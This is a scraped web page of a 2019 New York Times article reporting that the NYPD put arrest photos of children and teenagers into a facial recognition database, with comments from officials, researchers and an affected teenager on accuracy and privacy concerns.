clip-rule="evenodd" d="M15.406 5.359L8.978 0v3.215C3.82 3.215.406 8.107.406 12.66 1.653 9.133 4.29 7.517 8.978 7.517v3.2l6.428-5.358z" fill="#000"></path></svg></button></div></li><li class="css-60hakz"></li><li class="css-l72opv"></li></ul></div></div></div></div></div></div><meta itemProp="isAccessibleForFree" content="false"/><span itemProp="isPartOf" itemscope="" itemType="http://schema.org/CreativeWork http://schema.org/Product"><meta itemProp="name" content="The New York Times"/><meta itemProp="productID" content="nytimes.com:basic"/></span><article id="story" class="css-1vxca1d e1qksbhf0"><div id="top-wrapper" class="css-1sy8kpn"><div id="top-slug" class="css-l9onyx"><p>Advertisement</p></div><div class="ad top-wrapper" style="text-align:center;height:100%;display:block;min-height:250px"><div id="top" class="place-ad" data-position="top"></div></div></div><span itemProp="hasPart" itemscope="" itemType="http://schema.org/WebPageElement"><meta itemProp="isAccessibleForFree" content="False"/><meta itemProp="cssSelector" content=".meteredContent"/></span><div><header class="css-llk6mt euiyums4"><div id="sponsor-wrapper" class="css-1hyfx7x"><div id="sponsor-slug" class="css-19vbshk"><p>Supported by</p></div><div class="ad sponsor-wrapper" style="text-align:center;height:100%;display:block"><div id="sponsor" class="" data-position="sponsor"></div></div></div><div class="css-11n4cex euiyums3"></div><div class="css-1vkm6nb ehdk2mb0"><h1 itemProp="headline" class="css-1s4ffep e1h9rw200" id="link-2df79d6c"><span>She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.</span></h1></div><p class="css-1ifw933 e1wiw3jv0">With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.</p><div class="css-79elbk" data-testid="photoviewer-wrapper"><div class="css-z3e15g" data-testid="photoviewer-wrapper-hidden"></div><div data-testid="photoviewer-children" class="css-1a48zt4 ehw59r15"><figure class="sizeMedium layoutVertical css-1ox9jel" aria-label="media" role="group" itemscope="" itemProp="associatedMedia" itemID="https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg?quality=90&amp;auto=webp" itemType="http://schema.org/ImageObject"><div class="css-bsn42l"><span class="css-1dv1kvn">Image</span><img alt="“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, who pleaded guilty to an assault that occurred when she was 14." class="css-11cwn6f" src="https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg?quality=75&amp;auto=webp&amp;disable=upscale" srcSet="https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg?quality=90&amp;auto=webp 600w,https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-jumbo.jpg?quality=90&amp;auto=webp 683w,https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-superJumbo.jpg?quality=90&amp;auto=webp 1366w" sizes="((min-width: 600px) and (max-width: 1004px)) 84vw, (min-width: 1005px) 60vw, 100vw" itemProp="url" itemID="https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg?quality=75&amp;auto=webp&amp;disable=upscale"/></div><figcaption itemProp="caption description" class="css-17ai7jg emkp2hg0"><span aria-hidden="true" class="css-8i9d0s e13ogyst0">“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, who pleaded guilty to an assault that occurred when she was 14.</span><span itemProp="copyrightHolder" class="emkp2hg2 css-1nwzsjy e1z0qqy90"><span class="css-1ly73wi e1tej78p0">Credit</span><span><span class="css-1dv1kvn">Credit</span><span>Sarah Blesener for The New York Times</span></span></span></figcaption></figure></div></div><div class="css-acwcvw epjyd6m0"><div class="css-pdw9fk epjyd6m1"><div class="css-1txwxcy ey68jwv0"><a href="https://www.nytimes.com/by/joseph-goldstein" class="css-uwwqev"><img alt="Joseph Goldstein" title="Joseph Goldstein" src="https://static01.nyt.com/images/2018/07/16/multimedia/author-joseph-goldstein/author-joseph-goldstein-thumbLarge.png" class="css-1rjmmt7 ey68jwv2"/></a><a href="https://www.nytimes.com/by/ali-watkins" class="css-uwwqev"><img alt="Ali Watkins" title="Ali Watkins" src="https://static01.nyt.com/images/2019/02/20/multimedia/author-ali-watkins/author-ali-watkins-thumbLarge.png" class="css-1rjmmt7 ey68jwv2"/></a></div><div class="css-1baulvz"><p class="css-1nuro5j e1jsehar1" itemProp="author" itemscope="" itemType="http://schema.org/Person">By<!-- --> <a href="https://www.nytimes.com/by/joseph-goldstein" class="css-1riqqik e1jsehar0"><span class="css-1baulvz" itemProp="name">Joseph Goldstein</span></a> and <a href="https://www.nytimes.com/by/ali-watkins" class="css-1riqqik e1jsehar0"><span class="css-1baulvz last-byline" itemProp="name">Ali Watkins</span></a></p></div></div><ul class="css-1w5cs23 epjyd6m2"><li><time class="css-rqb9bm e16638kd0" dateTime="2019-08-01">Aug 1, 2019</time></li><li class="css-6n7j50"><div class=""><div role="toolbar" aria-label="Social Media Share buttons, Save button, and Comments Panel with current comment count" class="css-d8bdto" data-testid="share-tools"><ul class="css-y8aj3r"><li class="css-60hakz"><a href="https://www.facebook.com/dialog/feed?app_id=9869919170&amp;link=https%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html&amp;smid=fb-share&amp;name=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;redirect_uri=https%3A%2F%2Fwww.facebook.com%2F" target="_blank" rel="noopener noreferrer" aria-label="Share on Facebook"><svg class="css-4brsb6" viewBox="0 0 7 15" width="7" height="15"><path fill-rule="evenodd" clip-rule="evenodd" d="M4.775 14.163V7.08h1.923l.255-2.441H4.775l.004-1.222c0-.636.06-.977.958-.977H6.94V0H5.016c-2.31 0-3.123 1.184-3.123 3.175V4.64H.453v2.44h1.44v7.083h2.882z" fill="#000"></path></svg></a></li><li class="css-60hakz"><a href="https://twitter.com/intent/tweet?url=https%3A%2F%2Fnyti.ms%2F2GEzuZ8&amp;text=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database." target="_blank" rel="noopener noreferrer" aria-label="Share on Twitter"><svg viewBox="0 0 13 10" class="css-4brsb6" width="13" height="10"><path fill-rule="evenodd" clip-rule="evenodd" d="M5.987 2.772l.025.425-.429-.052c-1.562-.2-2.927-.876-4.086-2.011L.93.571.784.987c-.309.927-.111 1.906.533 2.565.343.364.266.416-.327.2-.206-.07-.386-.122-.403-.096-.06.06.146.85.309 1.161.223.434.678.858 1.176 1.11l.42.199-.497.009c-.481 0-.498.008-.447.19.172.564.85 1.162 1.606 1.422l.532.182-.464.277a4.833 4.833 0 0 1-2.3.641c-.387.009-.704.044-.704.07 0 .086 1.047.572 1.657.762 1.828.564 4 .32 5.631-.641 1.159-.685 2.318-2.045 2.859-3.363.292-.702.583-1.984.583-2.6 0-.398.026-.45.507-.927.283-.277.55-.58.6-.667.087-.165.078-.165-.36-.018-.73.26-.832.226-.472-.164.266-.278.584-.78.584-.928 0-.026-.129.018-.275.096a4.79 4.79 0 0 1-.755.294l-.464.148-.42-.286C9.66.467 9.335.293 9.163.24 8.725.12 8.055.137 7.66.276c-1.074.39-1.752 1.395-1.674 2.496z" fill="#000"></path></svg></a></li><li class="css-60hakz"><a href="mailto:?subject=NYTimes.com%3A%20She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;body=From%20The%20New%20York%20Times%3A%0A%0AShe%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.%0A%0AWith%20little%20oversight%2C%20the%20N.Y.P.D.%20has%20been%20using%20powerful%20surveillance%20technology%20on%20photos%20of%20children%20and%20teenagers.%0A%0Ahttps%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html" target="_blank" rel="noopener noreferrer" aria-label="Email"><svg viewBox="0 0 15 9" class="css-4brsb6" width="15" height="9"><path fill-rule="evenodd" clip-rule="evenodd" d="M.906 8.418V0L5.64 4.76.906 8.419zm13 0L9.174 4.761 13.906 0v8.418zM7.407 6.539l-1.13-1.137L.907 9h13l-5.37-3.598-1.13 1.137zM1.297 0h12.22l-6.11 5.095L1.297 0z" fill="#000"></path></svg></a></li><li class="css-60hakz"><div class="css-6n7j50"><button aria-haspopup="true" aria-expanded="false" aria-label="More sharing options" class="css-16ogagc" data-testid=""><svg class="css-uhuo44" viewBox="0 0 16 13" width="16" height="13"><path fill-rule="evenodd" clip-rule="evenodd" d="M15.406 5.359L8.978 0v3.215C3.82 3.215.406 8.107.406 12.66 1.653 9.133 4.29 7.517 8.978 7.517v3.2l6.428-5.358z" fill="#000"></path></svg></button></div></li><li class="css-60hakz"></li><li class="css-l72opv"></li></ul></div></div></li></ul></div></header></div><section name="articleBody" itemProp="articleBody" class="meteredContent css-1i2y565"><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0"><em class="css-2fg4z9 e1gzwzxm0">[What you need to know to start the day: </em><a class="css-1g7m0tk" href="https://www.nytimes.com/newsletters/newyorktoday?module=inline" title=""><em class="css-2fg4z9 e1gzwzxm0">Get New York Today in your inbox</em></a><em class="css-2fg4z9 e1gzwzxm0">.]</em></p><p class="css-exrw3m evys1bk0">The New York Police Department has been loading <!-- -->thousands of arrest photos of children and teenagers<!-- --> into a facial recognition database despite evidence the technology has a higher risk of false matches in younger faces. </p><p class="css-exrw3m evys1bk0">For about four years, internal records show, the department has used the technology to compare crime scene images with its collection of juvenile mug <!-- -->shots<!-- -->, the photos that are taken at an arrest. Most of the photos are of teenagers, largely 13 to 16 years old, but children as young as 11 have been included. </p><p class="css-exrw3m evys1bk0">Elected officials and civil rights groups said the disclosure that the city was deploying a powerful surveillance tool on adolescents — whose privacy seems sacrosanct and whose status is protected in the criminal justice system — was a striking example of the Police Department’s ability to adopt advancing technology with little public scrutiny.</p><p class="css-exrw3m evys1bk0">Several members of the City Council as well as a range of civil liberties groups said they were unaware of the policy until they were contacted by The New York Times. </p></div><aside class="css-o6xoe7"></aside></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0">Police <!-- -->Department officials defended the decision, <!-- -->saying it was just the latest evolution of a longstanding policing technique: using arrest photos to identify suspects.</p><p class="css-exrw3m evys1bk0">“I don’t think this is any secret decision that’s made behind closed doors,” the city’s chief of detectives, Dermot F. Shea, said in an interview. “This is just process, and making sure we’re doing everything to fight crime.” </p><p class="css-exrw3m evys1bk0">Other cities have begun to debate whether law enforcement should use facial recognition, which relies on an algorithm to quickly pore through images and suggest matches. In May, <a class="css-1g7m0tk" href="https://www.nytimes.com/2019/05/14/us/facial-recognition-ban-san-francisco.html?module=inline" title="">San Francisco blocked city agencies, including the police</a>, from using the tool amid unease about potential government <!-- -->abuse<!-- -->. <a class="css-1g7m0tk" href="https://www.nytimes.com/2019/07/08/us/detroit-facial-recognition-cameras.html?module=inline" title="">Detroit is facing public resistance to a technology </a>that has been shown to have lower accuracy with people with darker skin. </p><p class="css-exrw3m evys1bk0">In New York, the state Education Department recently told the Lockport, N.Y., <!-- -->school district to delay a plan to use facial recognition on students, citing privacy concerns. </p><p class="css-exrw3m evys1bk0">“At the end <!-- -->of the day, it should be banned — no young people,” said <!-- -->Councilman Donovan Richards<!-- -->, a Queens Democrat who heads the Public Safety Committee, which oversees the Police Department. </p></div><aside class="css-o6xoe7"></aside></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0">The department said its legal bureau had approved using facial recognition on juveniles. <a class="css-1g7m0tk" href="https://www.nytimes.com/2019/06/09/opinion/facial-recognition-police-new-york-city.html?module=inline" title="">The algorithm may suggest a lead, but detectives would not make an arrest based solely on </a><a class="css-1g7m0tk" href="https://www.nytimes.com/2019/06/09/opinion/facial-recognition-police-new-york-city.html?module=inline" title="">that</a>, Chief Shea said.</p></div><aside class="css-o6xoe7"></aside></div><div class="css-79elbk" data-testid="photoviewer-wrapper"><div class="css-z3e15g" data-testid="photoviewer-wrapper-hidden"></div><div data-testid="photoviewer-children" class="css-1a48zt4 ehw59r15"><figure class="css-jcw7oy e1g7ppur0" aria-label="media" role="group" itemProp="associatedMedia" itemscope="" itemID="https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg?quality=90&amp;auto=webp" itemType="http://schema.org/ImageObject"><div class="css-1xdhyk6 erfvjey0"><span class="css-1ly73wi e1tej78p0">Image</span><img alt="Dermot Shea, the city&amp;rsquo;s chief of detectives, said investigators would not arrest anyone based solely on a facial recognition match." class="css-1m50asq" src="https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg?quality=75&amp;auto=webp&amp;disable=upscale" srcSet="https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg?quality=90&amp;auto=webp 600w,https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-jumbo.jpg?quality=90&amp;auto=webp 1024w,https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-superJumbo.jpg?quality=90&amp;auto=webp 2048w" sizes="((min-width: 600px) and (max-width: 1004px)) 84vw, (min-width: 1005px) 60vw, 100vw" itemProp="url" itemID="https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg?quality=75&amp;auto=webp&amp;disable=upscale"/></div><figcaption itemProp="caption description" class="css-1l44abu e1xdpqjp0"><span aria-hidden="true" class="css-8i9d0s e13ogyst0">Dermot Shea, the city&rsquo;s chief of detectives, said investigators would not arrest anyone based solely on a facial recognition match.</span><span itemProp="copyrightHolder" class="css-vuqh7u e1z0qqy90"><span class="css-1ly73wi e1tej78p0">Credit</span><span>Chang W. Lee/The New York Times</span></span></figcaption></figure></div></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0">Still, facial recognition has not been widely tested on children. Most algorithms are taught to “think” based on adult faces, and there is growing evidence that they do not work as well on children. </p><p class="css-exrw3m evys1bk0">The National Institute of Standards and Technology<!-- -->, which is part of the Commerce Department and <a class="css-1g7m0tk" href="https://nvlpubs.nist.gov/nistpubs/ir/2018/NIST.IR.8238.pdf" title="" rel="noopener noreferrer" target="_blank">evaluates facial recognition </a><a class="css-1g7m0tk" href="https://nvlpubs.nist.gov/nistpubs/ir/2018/NIST.IR.8238.pdf" title="" rel="noopener noreferrer" target="_blank">algorithms</a> for accuracy, recently found the <!-- -->vast majority of more than 100 <!-- -->facial recognition <!-- -->algorithms had a higher rate of mistaken matches among children. The <!-- -->e<!-- -->rror rate was most pronounced in young children but was also seen in those aged 10 to 16.</p><p class="css-exrw3m evys1bk0">Aging poses another problem:<!-- --> The appearance of children and adolescents can change <!-- --> drastically as bones stretch and shift, altering the underlying facial structure. </p><p class="css-exrw3m evys1bk0">“I would use extreme caution in using those algorithms,” said <!-- -->Karl Ricanek Jr.<!-- -->, a computer science professor and <!-- -->co-founder of the Face Aging Group at the University of North Carolina-<!-- -->Wilmington<!-- -->. </p><p class="css-exrw3m evys1bk0">Technology that can match an image of a younger teenager to a recent arrest photo may be less effective at finding the same person even one or two years later, he said. </p></div><aside class="css-o6xoe7"></aside></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0"> “The systems do not have the capacity to understand the dynamic changes that occur to a child’s face,” Dr. Ricanek said. </p><p class="css-exrw3m evys1bk0">Idemia<!-- --> and <!-- -->DataWorks Plus<!-- -->, the two companies that provide facial recognition software to the Police Department, did not respond to requests for comment. </p><p class="css-exrw3m evys1bk0">The New York Police Department can take arrest photos of minors as young as <!-- -->11<!-- --> who are charged with a felony, depending on the severity of the charge. </p><p class="css-exrw3m evys1bk0">And in many cases, the department keeps the photos for years, making facial recognition comparisons to what may have effectively become outdated images. There are photos of 5,500 individuals in the juvenile database, 4,100 of whom are no longer 16 or under, the department said. Teenagers 17 and older are considered adults in the criminal justice system. </p><p class="css-exrw3m evys1bk0">Police officials declined to provide statistics on how often their facial recognition systems provide false matches, or to explain how they evaluate the system’s effectiveness.</p><p class="css-exrw3m evys1bk0">“We are comfortable with this technology because it has proved to be a valuable investigative method,” Chief Shea said. Facial recognition has helped lead to thousands of arrests of both adults and juveniles, the department has said. </p><p class="css-exrw3m evys1bk0">Mayor Bill de Blasio had been aware the department was using the technology on minors, said Freddi Goldstein, a spokeswoman for the mayor. </p></div><aside class="css-o6xoe7"></aside></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0">She said the Police Department followed “strict guidelines” in applying the technology and City Hall monitored the agency’s compliance with the policies. </p><p class="css-exrw3m evys1bk0">The Times learned details of the department’s use of facial recognition by reviewing documents posted online earlier this year by <a class="css-1g7m0tk" href="https://www.flawedfacedata.com/#footnote5" title="" rel="noopener noreferrer" target="_blank">Clare Garvie, a senior associate</a><a class="css-1g7m0tk" href="https://www.flawedfacedata.com/#footnote5" title="" rel="noopener noreferrer" target="_blank"> at the Center on Privacy and Technology at Georgetown Law</a>. Ms. Garvie received the documents as part of an open records lawsuit. </p><p class="css-exrw3m evys1bk0">It could not be determined whether other large police departments used facial recognition with juveniles because very few have written policies governing the use of the technology, Ms. Garvie said. </p><p class="css-exrw3m evys1bk0">New York detectives rely on a vast network<!-- --> of surveillance cameras throughout the city to provide images of people believed to have committed a crime. Since 2011, the department has had a dedicated unit of officers who use facial recognition to compare those images against millions of photos, usually mug shots. The software proposes matches, which have led to thousands of arrests, the department said. </p><p class="css-exrw3m evys1bk0">By 2013, top police officials were meeting to discuss including juveniles in the program, the documents reviewed by The Times showed. </p><p class="css-exrw3m evys1bk0">The documents showed that the juvenile database had been integrated into the system by 2015. </p><p class="css-exrw3m evys1bk0">“We have these photos. It makes sense,” Chief Shea said in the interview. </p><p class="css-exrw3m evys1bk0">State law requires that arrest photos be destroyed if the case is resolved in the juvenile’s favor, or if the child is found to have committed only a misdemeanor, rather than a felony. The photos also must be destroyed if a person reaches age 21 without a criminal record. <!-- --> </p></div><aside class="css-o6xoe7"></aside></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0">When children are charged with crimes, the court system usually takes some steps to prevent their acts from defining them in later years. Children who are 16 and under, for instance, are generally sent to Family Court, where records are not public. </p><p class="css-exrw3m evys1bk0">Yet including their photos in a facial recognition database runs the risk that an imperfect algorithm identifies them as possible suspects in later crimes, civil rights advocates said. A mistaken match could lead investigators to focus on the wrong person from the outset, they said. </p><p class="css-exrw3m evys1bk0">“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, a 17-year-old Brooklyn girl who had admitted guilt in Family Court to a group attack that happened when she was 14. She said she was present at the attack but did not participate. </p><p class="css-exrw3m evys1bk0">Bailey, who asked that she be identified only by her <!-- -->last name<!-- --> because she did not want her juvenile arrest to be public, has not been arrested again and is now a student at John Jay College of Criminal Justice. </p><p class="css-exrw3m evys1bk0">R<!-- -->ecent studies indicate that people of color, as well as children and women, have a greater risk of misidentification than their counterparts, sai<!-- -->d <!-- -->Joy Buolamwini<!-- -->, <!-- -->the founder of the Algorithmic Justice League and graduate researcher at the M.I.T. Media Lab<!-- -->, who has examined how human biases are built into artificial intelligence. </p><p class="css-exrw3m evys1bk0">The racial disparities in the juvenile justice system are stark: In New York, black and Latino juveniles were charged with crimes at far higher rates than whites in 2017, the most recent year for which numbers were available. Black juveniles outnumbered white juveniles <a class="css-1g7m0tk" href="https://www.criminaljustice.ny.gov/crimnet/ojsa/jj-reports/newyorkcity.pdf" title="" rel="noopener noreferrer" target="_blank">more than 15 to 1</a>.</p><p class="css-exrw3m evys1bk0">“If the facial recognition algorithm has a negative bias toward a black population, that will get magnified more toward children,” Dr. Ricanek said, adding that in terms of diminished accuracy, “you’re now putting yourself in unknown territory.”</p></div><aside class="css-o6xoe7"></aside></div><div class="css-1soubk3 epkadsg3"><div class="css-15g2oxy epkadsg2"><div class="css-2b3w4o e16ij5yr6"><a class="css-1g7m0tk" href="https://www.nytimes.com/2019/06/09/opinion/facial-recognition-police-new-york-city.html?action=click&amp;module=RelatedLinks&amp;pgtype=Article"><div class="css-i9gxme e16ij5yr4"><div class="css-14b9hti e16ij5yr5">Opinion | James O’Neill</div><div class="css-1j8dw05 e16ij5yr2">How Facial Recognition Makes You Safer</div><time class="css-rqb9bm e16638kd0" dateTime="2019-06-09">Jun 9, 2019</time></div><div class="css-1vm5oi9 e16ij5yr0"><img src="https://static01.nyt.com/images/2019/06/07/opinion/sunday/07Oneill/07Oneill-threeByTwoSmallAt2X.jpg" class="css-32rbo2 e16ij5yr1"/></div></a></div><div class="css-2b3w4o e16ij5yr6"><a class="css-1g7m0tk" href="https://www.nytimes.com/2019/06/07/opinion/lockport-facial-recognition-schools.html?action=click&amp;module=RelatedLinks&amp;pgtype=Article"><div class="css-i9gxme e16ij5yr4"><div class="css-14b9hti e16ij5yr5">Opinion | Jim Shultz</div><div class="css-1j8dw05 e16ij5yr2">Spying on Children Won’t Keep Them Safe</div><time class="css-rqb9bm e16638kd0" dateTime="2019-06-07">Jun 7, 2019</time></div><div class="css-1vm5oi9 e16ij5yr0"><img src="https://static01.nyt.com/images/2019/06/07/opinion/07shultz-privacy/07shultz-privacy-threeByTwoSmallAt2X.jpg" class="css-32rbo2 e16ij5yr1"/></div></a></div></div></div></section><div class="bottom-of-article"><div class="css-1ubp8k9"></div><div class="css-wg1cha"><div class="css-19hdyf3 e1e7j8ap0"><div><p>Joseph Goldstein writes about policing and the criminal justice system. He has been a reporter at The Times since 2011, and is based in New York. He also worked for a year in the Kabul bureau, reporting on Afghanistan. <span class="css-4w91ra"> <a href="https://twitter.com/JoeKGoldstein" class="css-1rj8to8" rel="noopener noreferrer" target="_blank"><span class="css-0">@</span>JoeKGoldstein</a> </span></p></div></div><div class="css-19hdyf3 e1e7j8ap0"><div><p>Ali Watkins is a reporter on the Metro Desk, covering courts and social services. Previously, she covered national security in Washington for The Times, BuzzFeed and McClatchy Newspapers. <span class="css-4w91ra"> <a href="https://twitter.com/AliWatkins" class="css-1rj8to8" rel="noopener noreferrer" target="_blank"><span class="css-0">@</span>AliWatkins</a> </span></p></div></div></div><div class="css-vdv0al">A version of this article appears in print on <!-- -->, Section <!-- -->A<!-- -->, Page <!-- -->1<!-- --> of the New York edition<!-- --> with the headline: <!-- -->In New York, Police Computers Scan Faces, Some as Young as 11<span>. <a href="http://www.nytreprints.com/">Order Reprints</a> | <a href="http://www.nytimes.com/pages/todayspaper/index.html">Today’s Paper</a> | <a href="https://www.nytimes.com/subscriptions/Multiproduct/lp8HYKU.html?campaignId=48JQY">Subscribe</a></span></div><div class="css-i29ckm"><div class="css-10raysz"></div><div role="toolbar" aria-label="Social Media Share buttons, Save button, and Comments Panel with current comment count" class="css-d8bdto" data-testid="share-tools"><ul class="css-y8aj3r"><li class="css-ar1l6a"><a href="https://www.facebook.com/dialog/feed?app_id=9869919170&amp;link=https%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html&amp;smid=fb-share&amp;name=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;redirect_uri=https%3A%2F%2Fwww.facebook.com%2F" target="_blank" rel="noopener noreferrer" aria-label="Share on Facebook"><svg class="css-4brsb6" viewBox="0 0 7 15" width="7" height="15"><path fill-rule="evenodd" clip-rule="evenodd" d="M4.775 14.163V7.08h1.923l.255-2.441H4.775l.004-1.222c0-.636.06-.977.958-.977H6.94V0H5.016c-2.31 0-3.123 1.184-3.123 3.175V4.64H.453v2.44h1.44v7.083h2.882z" fill="#000"></path></svg></a></li><li class="css-ar1l6a"><a href="https://twitter.com/intent/tweet?url=https%3A%2F%2Fnyti.ms%2F2GEzuZ8&amp;text=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database." target="_blank" rel="noopener noreferrer" aria-label="Share on Twitter"><svg viewBox="0 0 13 10" class="css-4brsb6" width="13" height="10"><path fill-rule="evenodd" clip-rule="evenodd" d="M5.987 2.772l.025.425-.429-.052c-1.562-.2-2.927-.876-4.086-2.011L.93.571.784.987c-.309.927-.111 1.906.533 2.565.343.364.266.416-.327.2-.206-.07-.386-.122-.403-.096-.06.06.146.85.309 1.161.223.434.678.858 1.176 1.11l.42.199-.497.009c-.481 0-.498.008-.447.19.172.564.85 1.162 1.606 1.422l.532.182-.464.277a4.833 4.833 0 0 1-2.3.641c-.387.009-.704.044-.704.07 0 .086 1.047.572 1.657.762 1.828.564 4 .32 5.631-.641 1.159-.685 2.318-2.045 2.859-3.363.292-.702.583-1.984.583-2.6 0-.398.026-.45.507-.927.283-.277.55-.58.6-.667.087-.165.078-.165-.36-.018-.73.26-.832.226-.472-.164.266-.278.584-.78.584-.928 0-.026-.129.018-.275.096a4.79 4.79 0 0 1-.755.294l-.464.148-.42-.286C9.66.467 9.335.293 9.163.24 8.725.12 8.055.137 7.66.276c-1.074.39-1.752 1.395-1.674 2.496z" fill="#000"></path></svg></a></li><li class="css-ar1l6a"><a href="mailto:?subject=NYTimes.com%3A%20She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;body=From%20The%20New%20York%20Times%3A%0A%0AShe%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.%0A%0AWith%20little%20oversight%2C%20the%20N.Y.P.D.%20has%20been%20using%20powerful%20surveillance%20technology%20on%20photos%20of%20children%20and%20teenagers.%0A%0Ahttps%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html" target="_blank" rel="noopener noreferrer" aria-label="Email"><svg viewBox="0 0 15 9" class="css-4brsb6" width="15" height="9"><path fill-rule="evenodd" clip-rule="evenodd" d="M.906 8.418V0L5.64 4.76.906 8.419zm13 0L9.174 4.761 13.906 0v8.418zM7.407 6.539l-1.13-1.137L.907 9h13l-5.37-3.598-1.13 1.137zM1.297 0h12.22l-6.11 5.095L1.297 0z" fill="#000"></path></svg></a></li><li class="css-ar1l6a"><div class="css-6n7j50"><button aria-haspopup="true" aria-expanded="false" aria-label="More sharing options" class="css-16ogagc" data-testid=""><svg class="css-uhuo44" viewBox="0 0 16 13" width="16" height="13"><path fill-rule="evenodd" clip-rule="evenodd" d="M15.406 5.359L8.978 0v3.215C3.82 3.215.406 8.107.406 12.66 1.653 9.133 4.29 7.517 8.978 7.517v3.2l6.428-5.358z" fill="#000"></path></svg></button></div></li></ul></div></div></div><div></div><div><div id="bottom-wrapper" class="css-1ede5it"><div id="bottom-slug" class="css-l9onyx"><p>Advertisement</p></div><div class="ad bottom-wrapper" style="text-align:center;height:100%;display:block;min-height:90px"><div id="bottom" class="" data-position="bottom"></div></div></div></div></article></div></main><nav class="css-1ropbjl" id="site-index" aria-labelledby="site-index-label" data-testid="site-index"><div class="css-uw59u"><header class="css-jxzr5i" data-testid="site-index-header"><h2 class="css-vz7hjd" id="site-index-label">Site Index</h2><a href="/"><svg xmlns="http://www.w3.org/2000/svg" class="css-oylsik" viewBox="0 0 184 25" fill="#000"><path d="M13.8 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8C6.2 1.4 5 1 4 1 2 1 .6 2.5.6 4.2c0 1.5 1.1 2 1.5 2.2l.1-.2c-.2-.2-.5-.4-.5-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8v3.1L9 10.2v.1l1.5 1.3v4.3c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2C3.6 6.9 4.7 6 5.8 5.4l-.1-.3c-3 .8-5.7 3.6-5.7 7 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1l-1.6-1.3V5.8c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7 0-1.5.2-2.1l2.1-.9v6.2zm10.6 2.3l-1.3 1 .2.2.6-.5 2.2 2 3-2-.1-.2-.8.5-1-1V9.4l.8-.6 1.7 1.4v6.1c0 3.8-.8 